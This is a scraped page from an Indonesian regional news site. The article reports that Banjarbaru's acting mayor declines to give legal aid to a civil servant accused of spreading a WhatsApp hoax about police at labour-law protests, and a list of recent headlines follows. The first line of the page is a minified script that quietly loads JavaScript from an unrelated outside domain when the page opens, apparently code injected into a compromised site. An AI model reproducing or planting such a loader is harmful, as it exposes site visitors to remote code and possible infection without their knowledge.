(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

ASN Tersangka Penyebaran Berita Hoaks, Pjs Wali Kota Banjarbaru: Tak Ada Pendampingan Hukum, Itu Urusan Pribadi!


KANALKALIMANTAN.COM, BANJARBARU – Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu akhirnya angkat bicara terkait kasus hukum yang menjerat salah satu ASN (Aparatur Sipil Negara) di lingkungan Pemerintah Kota (Pemko) Banjarbaru, FM (46) atas dugaan penyebaran berita hoaks.

Ditemui usai menghadiri rapat paripurna di DPRD Banjarbaru, Senin (19/10/2020) siang, Bernhard mengaku turut menyesalkan kejadian yang menimpa pegawai itu. Menurut prinsipnya, seluruh ASN di lingkungan pemerintah seyogyanya dapat bersinergi dengan aparat lain.

“Kita selaku ASN seharusnya berkolaborasi dengan aparat lain. Kalau terjadi kesalahan, itu menjadi tugas tanggung jawab masing-masing ASN,” katanya.

Dalam kasus FM yang diduga menyebarkan berita hoaks dan mengaitkannya dengan institusi kepolisian, Bernhard menyatakan bahwa Pemko Banjarbaru tak akan ikut campur dalam proses hukum yang saat ini tengah berjalan.

“Ketika dia melanggar ketentuan, dia seharusnya tahu sanksi apa yang dihadapi. Untuk pendampingan hukum dari Pemko Banjarbaru tidak ada. Itu urusan pribadi yang bersangkutan,” terang Pjs Wali Kota Banjarbaru.

Sebagaimana yang sudah diberitakan, FM resmi ditetapkan sebagai tersangka oleh Polres Banjarbaru atas kasus dugaan tindak pidana penyebaran berita hoaks, pada pekan lalu.

FM diduga telah mengunggah ujaran kebencian melalui status perpesanan via perpesanan aplikasi WhatsApp pada Kamis (15/10/2020) pagi. Dalam komentarnya, ia menuliskan bahwa aksi demonstrasi Undang-Undang Cipta Kerja yang saat itu berlangsung di Banjarmasin, akan rusuh jika dikawal oleh pihak kepolisian. Bahkan, ia juga menuliskan aksi demo akan disusupi petugas intel dari Polda Kalsel.

Atas postingannya itu, Polres Banjarbaru melalui unit Resmob mengamankan FM di tempat kerjanya, yakni di kantor Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru, Kamis, sekitar pukul 11.00 Wita.

Berdasarkan hasil pemeriksaan di Mapolres Banjarbaru, FM berdalih bahwa postingan status perpesanan di aplikasi WhatsApp tersebut tidak bermaksud untuk menyingung salah satu instansi. FM juga mengaku bahwa postingannya itu hanya menyampaikan kegelisahannya terkait situasi politik yang berkembang sekarang ini. (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

43 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

57 menit ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.